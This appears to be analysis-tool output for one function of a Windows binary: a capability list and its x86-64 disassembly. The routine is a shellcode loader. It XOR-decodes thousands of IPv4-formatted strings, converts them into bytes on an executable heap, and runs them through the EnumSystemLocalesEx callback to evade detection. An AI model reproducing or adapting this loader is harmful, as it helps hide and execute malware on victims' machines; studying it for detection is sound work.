Function at 0x140001610
Capabilities:
Convert ip address from string
Encode data using xor
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x14006e440]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor r12d, r12d
lea r13, str.40.55.255.83
lea r15, [0x14006e560]
mov r14d, 0x6680
mov rdx, qword [r13]
lea r8, [rsp + 0x58]
mov ecx, 2
movabs rbx, 0x7fffffffffffffff
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
jne 0x140001683
mov ecx, dword [rsp + 0x58]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [rsp + 0x20], eax
cmp qword [0x1400d4d78], 0xf
lea rbp, [0x1400d4d60]
mov rsi, qword [0x1400d4d70]
xorps xmm0, xmm0
cmova rbp, qword [0x1400d4d60]
mov qword [rsp + 0x40], 0
movups xmmword [rsp + 0x28], xmm0
cmp rsi, rbx
ja 0x140001a14
cmp rsi, 0xf
ja 0x1400016e3
movups xmm0, xmmword [rbp]
mov edi, 0xf
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rdi
movups xmmword [rsp + 0x28], xmm0
movq rbx, xmm0
jmp 0x140001777
mov rdi, rsi
or rdi, 0xf
cmp rdi, rbx
jbe 0x140001702
movabs rax, 0x8000000000000000
mov rdi, rbx
add rax, 0x27
jmp 0x140001732
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14000171c
xor ebx, ebx
jmp 0x140001759
cmp rcx, 0x1000
jb 0x140001751
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001a0e
mov rcx, rax
call fcn.140001a2c
test rax, rax
je 0x140001a07
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140001759
call fcn.140001a2c
mov rbx, rax
lea r8, [rsi + 1]
mov qword [rsp + 0x28], rbx
mov rdx, rbp
mov qword [rsp + 0x38], rsi
mov rcx, rbx
mov qword [rsp + 0x40], rdi
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [section..data]
mov ebp, dword [rsp + 0x20]
test ecx, ecx
jle 0x14000180d
mov eax, 1
cdq
idiv esi
mov eax, 2
movsxd r8, edx
cdq
idiv esi
mov eax, 3
movsxd r9, edx
cdq
idiv esi
movsxd r10, edx
mov edx, ecx
nop dword [rax]
cmp rdi, 0xf
lea rax, [rsp + 0x28]
cmova rax, rbx
movsx eax, byte [rax]
xor ebp, eax
lea rax, [rsp + 0x28]
cmp rdi, 0xf
cmova rax, rbx
movsx eax, byte [r8 + rax]
shl eax, 8
xor ebp, eax
lea rax, [rsp + 0x28]
cmp rdi, 0xf
cmova rax, rbx
movsx eax, byte [r9 + rax]
shl eax, 0x10
xor ebp, eax
lea rax, [rsp + 0x28]
cmp rdi, 0xf
cmova rax, rbx
movsx eax, byte [r10 + rax]
shl eax, 0x18
xor ebp, eax
sub rdx, 1
jne 0x1400017b0
cmp rdi, 0xf
jbe 0x140001844
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000183c
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a07
mov rcx, rbx
call fcn.140001a68
mov ecx, ebp
call qword [sym.imp.WS2_32.dll_htonl]
mov edi, 0x16
mov dword [rsp + 0x5c], eax
mov ecx, edi
call fcn.140001a70
mov r9d, edi
lea rdx, [rsp + 0x5c]
mov r8, rax
mov ecx, 2
mov rbx, rax
call sub.WS2_32.dll_inet_ntop
test rax, rax
jne 0x14000189e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_converting_int_to_IP_address.
call fcn.140001030
mov rcx, rax
lea rdx, [0x140001390]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ebx, ebx
mov r9d, 0x10
movsxd rcx, r12d
shl rcx, 4
mov r8, rbx
add rcx, r15
mov edx, r9d
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy_s]
inc r12d
add r13, 8
cmp r12d, r14d
jb 0x140001652
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, str.Ntdll.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.HeapCreate
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.HeapAlloc
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CloseHandle
mov rcx, rdi
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlIpv4StringToAddressA
mov rcx, rbx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.EnumSystemLocalesEx
mov rcx, rdi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
mov qword [rsp + 0x50], 0
xor edx, edx
mov ecx, 0x40000
mov r13, rax
call rsi
xor edx, edx
mov r8d, 0x100000
mov rcx, rax
call rbp
mov rdi, rax
mov rbx, rax
mov esi, 0x6680
nop word [rax + rax]
mov r9, rbx
lea r8, [rsp + 0x50]
xor edx, edx
mov rcx, r15
call r14
add rbx, 4
add r15, 0x10
sub rsi, 1
jne 0x140001980
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call r13
mov edx, 0x66800
mov r8d, 0x4000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rdi
call r12
xor edx, edx
lea rcx, str.40.55.255.83
mov r8d, 0x33400
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140001d50
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400015b0
int3
call fcn.1400015d0
int3